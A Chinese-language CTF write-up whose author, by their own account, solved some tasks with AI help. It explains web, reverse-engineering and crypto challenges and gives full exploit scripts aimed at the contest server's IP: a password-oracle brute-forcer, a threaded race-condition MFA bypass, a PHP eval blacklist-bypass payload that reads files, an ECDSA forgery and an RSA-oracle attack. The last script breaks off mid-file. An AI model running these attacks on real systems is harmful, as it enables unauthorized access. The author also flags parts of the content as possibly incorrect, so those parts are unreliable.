
這次跟社團開了一場 CTF,以下是我解的題目的解法,有些是用 AI 解再回去補知識的,尤其是 Crypto,所以內容可能不一定正確
Web
grandmas_notes

網站是一個簡單的登入系統,根據題目檔案觀察,應該只有一個使用者 admin,登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。
問題出在 login.php 裡面裡面有說會回報正確的字元數,所以可以走 oracle 的方式去做比對然後破解,逐個字元爆破
1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!";
exploit.py
1import re
2import sys
3import time
4import random
5from typing import Optional
6import requests
7
8DEFAULT_BASE = "http://52.59.124.14:5015"
9CHARSET = (
10 "abcdefghijklmnopqrstuvwxyz"
11 "0123456789"
12 "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~"
13 "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
14 "'\""
15)
16
17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE)
18
19def parse_flash_count(html: str) -> Optional[int]:
20 m = FLASH_RGX.search(html)
21 if not m:
22 return None
23 return int(m.group(1))
24
25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]:
26 resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15)
27 if "Dashboard" in resp.text and "Logged in as" in resp.text:
28 return True, None
29 n = parse_flash_count(resp.text)
30 return False, n
31
32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str:
33 s = requests.Session()
34 prefix = ""
35 last_n = 0
36 print(f"[+] Target: {base} user={username}")
37 print("[+] Starting prefix oracle attack...")
38 for pos in range(max_len):
39 found = None
40 for c in CHARSET:
41 candidate = prefix + c
42 ok, n = attempt(s, base, username, candidate)
43 if ok:
44 print(f"[+] Logged in early with full password: {candidate}")
45 return candidate
46 if n is None:
47 time.sleep(0.2 + random.random() * 0.3)
48 ok2, n2 = attempt(s, base, username, candidate)
49 if ok2:
50 print(f"[+] Logged in early with full password: {candidate}")
51 return candidate
52 n = n2
53 if n is None:
54 print(f" [?] No flash parsed at pos={pos}, char={repr(c)} (continuing)")
55 continue
56 if n > last_n:
57 found = c
58 last_n = n
59 prefix = candidate
60 print(f"[{pos:02d}] ✓ Found next char: {repr(c)} -> prefix now: {prefix!r}")
61 break
62 if found is None:
63 print("[!] No candidate increased the match count.")
64 ok, _ = attempt(s, base, username, prefix)
65 if ok:
66 print(f"[+] Logged in with recovered password: {prefix}")
67 return prefix
68 else:
69 print("[!] Likely the next character is outside the current CHARSET.")
70 print(" Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).")
71 break
72 time.sleep(0.05)
73 return prefix
74
75
76def fetch_flag(base: str, s: requests.Session) -> Optional[str]:
77 r = s.get(f"{base}/dashboard.php", timeout=15)
78 if r.status_code != 200:
79 print(f"[!] Dashboard fetch failed: HTTP {r.status_code}")
80 return None
81 m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE)
82 if not m:
83 return None
84 note = m.group(1)
85 return note.strip()
86
87def main():
88 base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE
89 username = "admin"
90 s = requests.Session()
91 recovered = recover_password(base, username=username, max_len=32)
92 ok, _ = attempt(s, base, username, recovered)
93 if not ok:
94 print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}")
95 sys.exit(2)
96 print(f"[+] Logged in as {username}. Fetching note...")
97 note = fetch_flag(base, s)
98 if note is None:
99 print("[!] Could not find the note textarea.")
100 sys.exit(3)
101 print("\n=== NOTE ===")
102 print(note)
103 print("============")
104 print("[*] If the note contains the flag, you're done!")
105
106if __name__ == "__main__":
107 main()
pwgen
source code
1<?php
2ini_set("error_reporting", 0);
3ini_set("short_open_tag", "Off");
4
5if(isset($_GET['source'])) {
6 highlight_file(__FILE__);
7}
8
9include "flag.php";
10
11$shuffle_count = abs(intval($_GET['nthpw']));
12
13if($shuffle_count > 1000 or $shuffle_count < 1) {
14 echo "Bad shuffle count! We won't have more than 1000 users anyway, but we can't tell you the master password!";
15 echo "Take a look at /?source";
16 die();
17}
18
19srand(0x1337); // the same user should always get the same password!
20
21for($i = 0; $i < $shuffle_count; $i++) {
22 $password = str_shuffle($FLAG);
23}
24
25if(isset($password)) {
26 echo "Your password is: '$password'";
27}
28
29?>
觀察 source code 發現有個 $FLAG 變數在 flag.php,然後用 nthpw 參數來決定要 shuffle 幾次,接下來關鍵在於 srand(0x1337)、$password = str_shuffle($FLAG);,這會讓每次的亂數種子都一樣,而 str_shuffle() 會使用隨機數產生器 (RNG) 打亂順序,但因為 seed 是常數,所以這完全不隨機,因此只需要注意單次打亂後的結果就可以了
所以可以透過去 request 打亂後的密碼,接下來去使用相同的 seed 去還原,以下是用 php 寫的 exploit
1<?php
2$urlBase = 'http://52.59.124.14:5003/?nthpw=';
3
4function fetch_pwd($n) {
5 global $urlBase;
6 $html = @file_get_contents($urlBase . $n);
7 if ($html === false) {
8 fwrite(STDERR, "[!] Fetch failed for nth=$n\n");
9 exit(1);
10 }
11 if (!preg_match("/Your password is: '([^']+)'/i", $html, $m)) {
12 fwrite(STDERR, "[!] Could not parse password for nth=$n. Raw:\n$html\n");
13 exit(1);
14 }
15 return $m[1];
16}
17
18function make_unique_bytes($L) {
19 $bytes = '';
20 for ($i = 0; $i < $L; $i++) $bytes .= chr($i);
21 return $bytes;
22}
23
24function permutation_for_n($L, $n) {
25 srand(0x1337);
26 $orig = make_unique_bytes($L);
27 $shuf = '';
28 for ($i = 0; $i < $n; $i++) {
29 $shuf = str_shuffle($orig);
30 }
31 $perm = array_fill(0, $L, null);
32 for ($pos = 0; $pos < $L; $pos++) {
33 $k = ord($shuf[$pos]);
34 $perm[$k] = $pos;
35 }
36 return $perm;
37}
38
39function unpermute($s, $perm) {
40 $L = strlen($s);
41 $orig = array_fill(0, $L, '');
42 for ($k = 0; $k < $L; $k++) {
43 $pos = $perm[$k];
44 $orig[$k] = $s[$pos];
45 }
46 return implode('', $orig);
47}
48
49$s1 = fetch_pwd(1);
50$s2 = fetch_pwd(2);
51
52$L = strlen($s1);
53if ($L !== strlen($s2)) {
54 fwrite(STDERR, "[!] Length mismatch between nth=1 and nth=2\n");
55 exit(1);
56}
57
58$p1 = permutation_for_n($L, 1);
59$p2 = permutation_for_n($L, 2);
60
61$flag1 = unpermute($s1, $p1);
62$flag2 = unpermute($s2, $p2);
63
64if ($flag1 !== $flag2) {
65 fwrite(STDERR, "[!] Inconsistency: FLAG candidates differ!\n");
66 fwrite(STDERR, "flag1: $flag1\nflag2: $flag2\n");
67 exit(1);
68}
69echo "[+] FLAG: $flag1\n";
webby
完整 source code
1import web
2import secrets
3import random
4import tempfile
5import hashlib
6import time
7import shelve
8import bcrypt
9from web import form
10web.config.debug = False
11urls = (
12 '/', 'index',
13 '/mfa', 'mfa',
14 '/flag', 'flag',
15 '/logout', 'logout',
16)
17app = web.application(urls, locals())
18render = web.template.render('templates/')
19session = web.session.Session(app, web.session.ShelfStore(shelve.open("/tmp/session.shelf")))
20FLAG = open("/tmp/flag.txt").read()
21
22def check_user_creds(user,pw):
23 users = {
24 # Add more users if needed
25 'user1': 'user1',
26 'user2': 'user2',
27 'user3': 'user3',
28 'user4': 'user4',
29 'admin': 'admin',
30
31 }
32 try:
33 return users[user] == pw
34 except:
35 return False
36
37def check_mfa(user):
38 users = {
39 'user1': False,
40 'user2': False,
41 'user3': False,
42 'user4': False,
43 'admin': True,
44 }
45 try:
46 return users[user]
47 except:
48 return False
49
50
51login_Form = form.Form(
52 form.Textbox("username", description="Username"),
53 form.Password("password", description="Password"),
54 form.Button("submit", type="submit", description="Login")
55)
56mfatoken = form.regexp(r"^[a-f0-9]{32}$", 'must match ^[a-f0-9]{32}$')
57mfa_Form = form.Form(
58 form.Password("token", mfatoken, description="MFA Token"),
59 form.Button("submit", type="submit", description="Submit")
60)
61
62class index:
63 def GET(self):
64 try:
65 i = web.input()
66 if i.source:
67 return open(__file__).read()
68 except Exception as e:
69 pass
70 f = login_Form()
71 return render.index(f)
72
73 def POST(self):
74 f = login_Form()
75 if not f.validates():
76 session.kill()
77 return render.index(f)
78 i = web.input()
79 if not check_user_creds(i.username, i.password):
80 session.kill()
81 raise web.seeother('/')
82 else:
83 session.loggedIn = True
84 session.username = i.username
85 session._save()
86
87 if check_mfa(session.get("username", None)):
88 session.doMFA = True
89 session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),bcrypt.gensalt(14))).hexdigest()
90 #session.tokenMFA = "acbd18db4cc2f85cedef654fccc4a4d8"
91 session.loggedIn = False
92 session._save()
93 raise web.seeother("/mfa")
94 return render.login(session.get("username",None))
95
96class mfa:
97 def GET(self):
98 if not session.get("doMFA",False):
99 raise web.seeother('/login')
100 f = mfa_Form()
101 return render.mfa(f)
102
103 def POST(self):
104 if not session.get("doMFA", False):
105 raise web.seeother('/login')
106 f = mfa_Form()
107 if not f.validates():
108 return render.mfa(f)
109 i = web.input()
110 if i.token != session.get("tokenMFA",None):
111 raise web.seeother("/logout")
112 session.loggedIn = True
113 session._save()
114 raise web.seeother('/flag')
115
116
117class flag:
118 def GET(self):
119 if not session.get("loggedIn",False) or not session.get("username",None) == "admin":
120 raise web.seeother('/')
121 else:
122 session.kill()
123 return render.flag(FLAG)
124
125
126class logout:
127 def GET(self):
128 session.kill()
129 raise web.seeother('/')
130
131application = app.wsgifunc()
132if __name__ == "__main__":
133 app.run()
問題出在有一個 race condition 在登入中
1else:
2 session.loggedIn = True
3 session.username = i.username
4 session._save()
5
6if check_mfa(session.get("username", None)):
7 session.doMFA = True
8 session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(), bcrypt.gensalt(14))).hexdigest()
9 session.loggedIn = False
10 session._save()
11 raise web.seeother("/mfa")
因為 loggedIn=True 是先寫進去的,接下來才檢查是否需要 MFA,如果需要的話就會把 loggedIn 設成 False,所以可以利用 race condition 去嘗試取得 flag
exploit.py
1import threading
2import time
3import sys
4try:
5 import requests
6except ImportError:
7 print("requests not installed. Please install with: py -m pip install requests")
8 sys.exit(1)
9BASE_URL = "http://52.59.124.14:5010"
10def spam_login(session: requests.Session, stop_event: threading.Event) -> None:
11 while not stop_event.is_set():
12 try:
13 session.post(
14 f"{BASE_URL}/",
15 data={"username": "admin", "password": "admin", "submit": "submit"},
16 timeout=2,
17 allow_redirects=False,
18 )
19 except Exception:
20 pass
21def poll_flag(session: requests.Session, stop_event: threading.Event, result_holder: dict) -> None:
22 while not stop_event.is_set():
23 try:
24 r = session.get(f"{BASE_URL}/flag", timeout=2, allow_redirects=False)
25 if r.status_code == 200:
26 result_holder["hit"] = True
27 result_holder["body"] = r.text
28 stop_event.set()
29 return
30 except Exception:
31 pass
32def main() -> int:
33 s = requests.Session()
34 adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=100)
35 s.mount("http://", adapter)
36 s.mount("https://", adapter)
37 try:
38 s.get(BASE_URL + "/", timeout=3)
39 except Exception:
40 pass
41 stop = threading.Event()
42 result = {"hit": False, "body": ""}
43 pollers = []
44 for _ in range(50):
45 t = threading.Thread(target=poll_flag, args=(s, stop, result), daemon=True)
46 pollers.append(t)
47 t.start()
48 spammers = []
49 for _ in range(5):
50 t = threading.Thread(target=spam_login, args=(s, stop), daemon=True)
51 spammers.append(t)
52 t.start()
53 deadline = time.time() + 90
54 while time.time() < deadline and not stop.is_set():
55 time.sleep(0.05)
56 stop.set()
57 if result["hit"]:
58 print("[+] Flag page fetched!\n")
59 sys.stdout.write(result["body"])
60 return 0
61 else:
62 print("[-] No hit. Try re-running; races are probabilistic.")
63 return 2
64if __name__ == "__main__":
65 sys.exit(main())
Slasher
source code
1<?php
2ini_set("error_reporting", 0);
3ini_set("short_open_tag", "Off");
4
5set_error_handler(function($_errno, $errstr) {
6 echo "Something went wrong!";
7});
8
9if(isset($_GET['source'])) {
10 highlight_file(__FILE__);
11 die();
12}
13
14include "flag.php";
15
16$output = null;
17if(isset($_POST['input']) && is_scalar($_POST['input'])) {
18 $input = $_POST['input'];
19 $input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
20 $input = addslashes($input);
21 $input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
22 try {
23 $output = eval("$input;");
24 } catch (Exception $e) {
25 // nope, nothing
26 }
27}
28?>

- input 會經過
htmlentities→addslashes→addcslashes,blacklist 有'+?<>&v=${}%*:.[]_-0123456789xb \;`。 - 允許「英文字母、逗號、括號、return」等,且
eval可執行 function calls。 include "flag.php";可以知道 flag 應該在flag.php中
想法:
- 不能用引號與數字,所以無法直接指定字串/ index
- 可以使用
opendir(getcwd())開啟當前目錄,之後呼叫readdir()會使用「最近一次 opendir 的 handle」,每次呼叫會往下走一個檔名。 readfile(filename)可以直接把檔案內容輸出。- 利用
min(...)讓整個表達式返回數字,頁面才會顯示結果;同時不需要字串/數字。
所以可以透過多次 readdir(),然後 readfile(readdir()) 讀出下一個檔案,可以直接爆破
1import sys
2import re
3import requests
4
5def build_payload(offset: int) -> str:
6 reads = ",".join(["readdir()" for _ in range(offset)])
7 parts = ["opendir(getcwd())"]
8 if reads:
9 parts.append(reads)
10 parts.append("readfile(readdir())")
11 inner = ",".join(parts)
12 return f"return(min({inner}))"
13
14
15def attempt(url: str, offset: int) -> str:
16 payload = build_payload(offset)
17 print(payload)
18 resp = requests.post(
19 url,
20 data={"input": payload},
21 headers={"Content-Type": "application/x-www-form-urlencoded"},
22 timeout=10,
23 )
24 return resp.text
25
26def main():
27 if len(sys.argv) < 2:
28 print("Usage: python exploit.py <base_url>")
29 print("Example: python exploit.py http://52.59.124.14:5011/")
30 sys.exit(1)
31
32 base_url = sys.argv[1].rstrip("/") + "/"
33 flag_re = re.compile(r"ENO\{[^}]+\}")
34 for offset in range(0, 16):
35 try:
36 html = attempt(base_url, offset)
37 except requests.RequestException as e:
38 print(f"[!] offset {offset}: request error: {e}")
39 continue
40 m = flag_re.search(html)
41 if m:
42 print(f"[+] Found flag at offset {offset}: {m.group(0)}")
43 return
44 if "docker-compose" in html:
45 where = "docker-compose.yml"
46 elif "FROM php:8-apache" in html:
47 where = "Dockerfile"
48 elif "ini_set(\"error_reporting\"" in html or "include \"flag.php\"" in html:
49 where = "index.php"
50 elif "--bg:#0f1115;" in html:
51 where = "style.css"
52 else:
53 where = "unknown/dir-entry"
54 print(f"[*] offset {offset}: hit {where}")
55 print("[-] Flag not found in tested range.")
56
57if __name__ == "__main__":
58 main()
Reverse
hidden_strings
檔案只有給一個 binary 然後是個 flag checker,執行後會要求輸入 flag,然後會檢查是否正確,經過 ida 分析後發現,正確會輸出 correct flag、反之輸出 wrong flag please try again,後面因為 code 看起來寫得蠻簡單的,也沒有防 angr,所以決定直接用 angr 去解
1import angr
2import claripy
3
4project = angr.Project('./challenge', auto_load_libs=False)
5
6flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(20)]
7flag = claripy.Concat(*flag_chars)
8
9initial_state = project.factory.entry_state(stdin=claripy.Concat(flag, claripy.BVV(ord('\n'), 8)))
10
11initial_state.solver.add(flag_chars[0] == ord('E'))
12initial_state.solver.add(flag_chars[1] == ord('N'))
13initial_state.solver.add(flag_chars[2] == ord('O'))
14initial_state.solver.add(flag_chars[3] == ord('{'))
15
16for i in range(4, 19):
17 initial_state.solver.add(flag_chars[i] >= 0x20)
18 initial_state.solver.add(flag_chars[i] <= 0x7e)
19
20simulation = project.factory.simulation_manager(initial_state)
21
22simulation.explore(find=lambda s: b"correct flag" in s.posix.dumps(1))
23
24if simulation.found:
25 found_state = simulation.found[0]
26 flag_solution = found_state.solver.eval(flag, cast_to=bytes)
27 flag_str = flag_solution.decode('ascii', errors='ignore')
28 print(f"Flag: {flag_str}")
29else:
30 print("Flag not found")
31 print(f"Active states: {len(simulation.active)}")
32 print(f"Deadended states: {len(simulation.deadended)}")
crypto
Power tower
這題給了 chall.py 和 cipher.txt
chall.py
1from Crypto.Cipher import AES
2from Crypto.Util import number
3
4# n = number.getRandomNBitInteger(256)
5n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
6
7primes = [p for p in range(100) if number.isPrime(p)]
8int_key = 1
9for p in primes: int_key = p**int_key
10
11key = int.to_bytes(int_key % n,32, byteorder = 'big')
12
13flag = open('flag.txt','r').read().strip()
14flag += '_' * (-len(flag) % 16)
15cipher = AES.new(key, AES.MODE_ECB).encrypt(flag.encode())
16print(cipher.hex())
cipher.txt
基本上觀察程式會發現他一開始會取出 100 以下所有質數,接下來會透過迴圈產生 int_key,然後計算 int_key % n,作為 AES 的 key 去加密 flag
可以利用數論:
- 若 gcd(base, m) = 1,則 a^e mod m 可以透過 Carmichael λ(m) 做降冪
- 若 gcd ≠ 1,則需檢查真實指數是否 ≥ λ(m),必要時補上 λ(m)
這樣遞迴計算,就能在合理時間內求出 int_key % n。 最後再用這個 key 解開 cipher.txt,就能得到 flag。
exploit.py
1from Crypto.Cipher import AES
2from Crypto.Util import number as cnum
3import sympy as sp
4from math import gcd
5from functools import lru_cache
6
7n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
8
9primes = [p for p in range(100) if cnum.isPrime(p)]
10primes_desc = list(reversed(primes))
11
12ct_hex = "b6c4d050dd08fd8471ef06e73d39b359e3fc370ca78a3426f01540985b88ba66ec9521e9b68821fed1fa625e11315bf9"
13
14@lru_cache(maxsize=None)
15def factorint_cached(m: int):
16 return sp.factorint(m) if m > 1 else {}
17
18@lru_cache(maxsize=None)
19def carmichael_lambda(m: int) -> int:
20 if m <= 1:
21 return 1
22 fac = factorint_cached(m)
23 parts = []
24 for p, k in fac.items():
25 if p == 2:
26 if k == 1: lam = 1
27 elif k == 2: lam = 2
28 else: lam = 1 << (k - 2)
29 else:
30 lam = (p - 1) * (p ** (k - 1))
31 parts.append(lam)
32 from math import gcd
33 def lcm(a, b): return a // gcd(a, b) * b
34 lam_total = 1
35 for part in parts:
36 lam_total = lcm(lam_total, part)
37 return lam_total
38
39def ceil_log_base_int(a: int, t: int) -> int:
40 if t <= 1: return 0
41 e, v = 0, 1
42 while v < t:
43 v *= a
44 e += 1
45 return e
46
47def make_exponent_checker():
48 @lru_cache(maxsize=None)
49 def exponent_is_ge_threshold(idx: int, threshold: int) -> bool:
50 if threshold <= 1: return True
51 if idx >= len(primes_desc): return 1 >= threshold
52 a = primes_desc[idx]
53 need = ceil_log_base_int(a, threshold)
54 return exponent_is_ge_threshold(idx + 1, need)
55 return exponent_is_ge_threshold
56
57exp_ge = make_exponent_checker()
58
59@lru_cache(maxsize=None)
60def tower_mod(idx: int, m: int) -> int:
61 if m == 1: return 0
62 if idx >= len(primes_desc): return 1 % m
63 a = primes_desc[idx]
64 lam = carmichael_lambda(m)
65 e_mod = tower_mod(idx + 1, lam)
66 if gcd(a, m) == 1:
67 exponent = e_mod
68 else:
69 exponent = e_mod + (lam if exp_ge(idx + 1, lam) else 0)
70 return pow(a, exponent, m)
71
72int_key_mod_n = tower_mod(0, n)
73key = int_key_mod_n.to_bytes(32, "big")
74print("[+] Key =", key.hex())
75
76ct = bytes.fromhex(ct_hex)
77pt = AES.new(key, AES.MODE_ECB).decrypt(ct).decode().strip("_")
78print("[+] Flag =", pt)
Simple ECDSA
這題給了 chall.py、ec.py
chall.py
1#!/usr/bin/env python3
2import os
3import sys
4import hashlib
5
6from ec import *
7def bytes_to_long(a):
8 return int(a.hex(),16)
9
10#P-256 parameters
11p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
12a = -3
13b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
14n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
15curve = EllipticCurve(p,a,b, order = n)
16G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
17
18d_a = bytes_to_long(os.urandom(32))
19P_a = G * d_a
20
21def hash(msg):
22 return int(hashlib.md5(msg).hexdigest(), 16)
23
24def sign(msg : bytes, DEBUG = False):
25 if type(msg) == str: msg = msg.encode()
26 msg_hash = hash(msg)
27 while True:
28 k = bytes_to_long(os.urandom(n.bit_length() >> 3))
29 R = G*k
30 if R.inf: continue
31 x,y = R.x, R.y
32 r = x % n
33 s = inverse(k, n) * (msg_hash + d_a) % n
34 if r == 0 or s == 0: continue
35 return r,s
36
37def verify(r:int, s:int, msg:bytes, P_a):
38 r %= n
39 s %= n
40 if r == 0 or s == 0: return False
41 s1 = inverse(s,n)
42 u = hash(msg) * s1 % n
43 v = s1 % n
44 R = G * u + P_a * v
45 return r % n == R.x % n
46
47def loop():
48 while True:
49 option = input('Choose an option:\n1 - get message/signature\n2 - get challenge to sign\n').strip()
50 if option == '1':
51 message = os.urandom(32)
52 print(message.hex())
53 signature = sign(message)
54 assert(verify(*signature,message,P_a))
55 print(signature)
56 elif option == '2':
57 challenge = os.urandom(32)
58 signature = input(f'sign the following challenge {challenge.hex()}\n')
59 r,s = [int(x) for x in signature.split(',')]
60 if r == 0 or s == 0:
61 print("nope")
62 elif verify(r, s, challenge, P_a):
63 print(open('flag.txt','r').read())
64 else:
65 print('wrong signature')
66 else:
67 print('Wrong input format')
68
69if __name__ == '__main__':
70 print('My public key is:')
71 print(P_a)
72 try:
73 loop()
74 except Exception as err:
75 print(repr(err))
ec.py
1#!/usr/bin/env python3
2def inverse(a,n):
3 return pow(a,-1,n)
4
5class EllipticCurve(object):
6 def __init__(self, p, a, b, order = None):
7 self.p = p
8 self.a = a
9 self.b = b
10 self.n = order
11
12 def __str__(self):
13 return 'y^2 = x^3 + %dx + %d modulo %d' % (self.a, self.b, self.p)
14
15 def __eq__(self, other):
16 return (self.a, self.b, self.p) == (other.a, other.b, other.p)
17
18class ECPoint(object):
19 def __init__(self, curve, x, y, inf = False):
20 self.x = x % curve.p
21 self.y = y % curve.p
22 self.curve = curve
23 if inf or not self.is_on_curve():
24 self.inf = True
25 self.x = 0
26 self.y = 0
27 else:
28 self.inf = False
29
30 def is_on_curve(self):
31 return self.y**2 % self.curve.p == (self.x**3 + self.curve.a*self.x + self.curve.b) % self.curve.p
32
33 def copy(self):
34 return ECPoint(self.curve, self.x, self.y)
35
36 def __neg__(self):
37 return ECPoint(self.curve, self.x, -self.y, self.inf)
38
39 def __add__(self, point):
40 p = self.curve.p
41 if self.inf:
42 return point.copy()
43 if point.inf:
44 return self.copy()
45 if self.x == point.x and (self.y + point.y) % p == 0:
46 return ECPoint(self.curve, 0, 0, True)
47 if self.x == point.x:
48 lamb = (3*self.x**2 + self.curve.a) * inverse(2 * self.y, p) % p
49 else:
50 lamb = (point.y - self.y) * inverse(point.x - self.x, p) % p
51 x = (lamb**2 - self.x - point.x) % p
52 y = (lamb * (self.x - x) - self.y) % p
53 return ECPoint(self.curve,x,y)
54
55 def __sub__(self, point):
56 return self + (-point)
57
58 def __str__(self):
59 if self.inf: return 'Point(inf)'
60 return 'Point(%d, %d)' % (self.x, self.y)
61
62 def __mul__(self, k):
63 k = int(k)
64 base = self.copy()
65 res = ECPoint(self.curve, 0,0,True)
66 while k > 0:
67 if k & 1:
68 res = res + base
69 base = base + base
70 k >>= 1
71 return res
72
73 def __eq__(self, point):
74 return (self.inf and point.inf) or (self.x == point.x and self.y == point.y)
75
76if __name__ == '__main__':
77 p = 17
78 a = -1
79 b = 1
80 curve = EllipticCurve(p,a,b)
81 P = ECPoint(curve, 1, 1)
82 print(P+P)
問題應該是出在 s 的計算少了 r,所以只要找到一個 (r, s),滿足以下即可。
1s1 = s^{-1}
2u = H(m) * s1
3v = s1
4R = G*u + P_a*v = (G*H(m) + P_a) * s1
5accept if r == R.x mod n
驗證公式化簡後變成
1R = (G*H(m) + P_a) * s^{-1}
2r = R.x mod n
所以可以:
- 拿到 challenge m,計算 h = MD5(m)。
- 算 W = G*h + P_a。
- 任選一個 s ≠ 0,令 R = W * s^{-1}。
- 設 r = R.x mod n,送出 (r, s)。
這樣 server 就會接受並回傳 flag。
exploit.py
1#!/usr/bin/env python3
2from pwn import *
3import hashlib, random, re
4from ec import EllipticCurve, ECPoint, inverse
5
6context.log_level = "info"
7
8HOST, PORT = "52.59.124.14", 5050
9
10p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
11a = -3
12b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
13n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
14curve = EllipticCurve(p, a, b, order=n)
15G = ECPoint(curve,
16 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
17 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
18)
19
20def H(msg_bytes):
21 return int(hashlib.md5(msg_bytes).hexdigest(), 16)
22
23def parse_point(s: str):
24 m = re.search(r"Point\((\d+),\s*(\d+)\)", s)
25 if not m:
26 raise ValueError("Failed to parse public key line: " + s)
27 return int(m.group(1)), int(m.group(2))
28
29def main():
30 io = remote(HOST, PORT)
31
32 io.recvuntil(b"My public key is:\n")
33 pub_line = io.recvline().decode(errors="ignore")
34 Px, Py = parse_point(pub_line)
35 P_a = ECPoint(curve, Px, Py)
36
37 io.recvuntil(b"Choose an option:")
38 io.sendline(b"2")
39
40 try:
41 m = io.recvregex(br'([0-9a-fA-F]{64})', exact=False, timeout=5.0)
42 chal_hex = re.search(br'([0-9a-fA-F]{64})', m).group(1).decode()
43 except Exception:
44 leaked = io.recvrepeat(0.5)
45 log.error("Could not find 64-hex challenge; recent data:\n" + leaked.decode(errors="ignore"))
46 return
47
48 m_bytes = bytes.fromhex(chal_hex)
49 h = H(m_bytes)
50 W = (G * h) + P_a
51 while True:
52 s_val = random.randrange(1, n)
53 R = W * inverse(s_val, n)
54 if not R.inf:
55 r_val = R.x % n
56 if r_val != 0:
57 break
58
59 io.sendline(f"{r_val},{s_val}".encode())
60 io.interactive()
61
62if __name__ == "__main__":
63 main()
A slice of keys
題目給了 chall.py
1from Crypto.PublicKey import RSA
2from Crypto.Cipher import AES
3
4flag = open('flag.txt','r').read().strip().encode()
5pad = (16 - len(flag)) % 16
6flag = flag + pad * int(16).to_bytes()
7
8key = RSA.generate(2048, e = 1337)
9n = key.n
10e = key.e
11d = key.d
12
13AES_key = int(bin(d)[2:258:2],2).to_bytes(16)
14crypter = AES.new(AES_key, AES.MODE_ECB)
15cipher = crypter.encrypt(flag)
16print(cipher.hex())
17
18for _ in range(128):
19 user_input = input('(e)ncrypt|(d)ecrypt:<number>\n')
20 option,m = user_input.split(':')
21 m = int(m)
22 if option == 'e':
23 print(pow(m,e,n))
24 elif option == 'd':
25 print(pow(m,d,n))
26 else:
27 print('wrong option')
問題出在 AES key 取自 d 的 256 位中的偶數位,形成 128-bit key。只要知道 d 的高位相似,就能 recover 這個 key 進而解出 flag。
exploit.py
1import os
2import re
3import random
4from math import gcd
5from typing import Tuple
6
7from pwn import remote, log
8from Crypto.Cipher import AES
9
10HOST = "52.59.124.14"
11PORT = 5103
12
13PROMPTS = [
14 b"(e)ncrypt|(d)ecrypt:", b"encrypt", b"decrypt", b"(e)ncrypt", b"(d)ecrypt",
15 b"option", b"choice", b">", b":"
16]
17DEC_INT_RE = re.compile(r"^-?\d+$")
18
19def recv_until_any(r, needles, timeout=6):
20 data = b""
21 while True:
22 chunk = r.recv(timeout=timeout)
23 if not chunk:
24 break
25 data += chunk
26 for nd in needles:
27 if nd in data:
28 return data
29 if len(data) > 2_000_000:
30 break
31 return data
32
33def parse_initial_banner(data: bytes) -> Tuple[bytes, bytes]:
34 lines = data.decode(errors="ignore").splitlines()
35 cipher_hex = None
36 for line in lines:
37 s = line.strip()
38 if re.fullmatch(r"[0-9a-fA-F]+", s) and len(s) % 32 == 0 and len(s) >= 32:
39 cipher_hex = s
40 break
41 if cipher_hex is None:
42 cipher_hex = lines[0].strip()
43 return bytes.fromhex(cipher_hex), data
44
45def read_decimal_line(r, timeout=5) -> int:
46 while True:
47 line = r.recvline(timeout=timeout)
48 if not line:
49 raise EOFError("Connection closed while reading result")
50 s = line.decode(errors="ignore").strip()
51 if DEC_INT_RE.fullmatch(s):
52 return int(s)
53
54class Oracle:
55 def __init__(self, tube):
56 self.tube = tube
57
58 def enc(self, m: int) -> int:
59 self.tube.sendline(f"e:{m}".encode())
60 return read_decimal_line(self.tube)
61
62 def dec(self, c: int) -> int:
63 self.tube.sendline(f"d:{c}".encode())
64 return read_decimal_line(self.tube)
65
66def recover_modulus_via_gcd(oracle: Oracle, pairs: int = 64) -> int:
67 g = 0
68 for i in range(pairs):
69 a = random.getrandbits(128) | 1
70 b = random.getrandbits(128) | 1
71 ea = oracle.enc(a)
72 eb = oracle.enc(b)
73 eab = oracle.enc(a * b)
74 v = ea * eb - eab
75 g = gcd(g, abs(v))
76 if (i + 1) % 8 == 0:
77 log.info(f"[gcd] round={i+1}, bits={g.bit_length()}")
78 if g.bit_length() >= 2000:
79 break
80 return g
81
82def derive_aes_key_candidates_from_topbits(x: int):
83 keys = []
84 for start in (2, 3):
85 bits = bin(x)[start: start + 256: 2]
86 if bits == "":
87 continue
88 kint = int(bits, 2)
89 for endian in ("big", "little"):
90 try:
91 keys.append(kint.to_bytes(16, endian))
92 except OverflowError:
93 pass
94 return keys
95
96def looks_like_flag(pt: bytes) -> bool:
97 s = pt.decode(errors="ignore")
98 return ("ENO{" in s) or ("flag{" in s) or ("CTF{" in s) or ("FLAG{" in s)
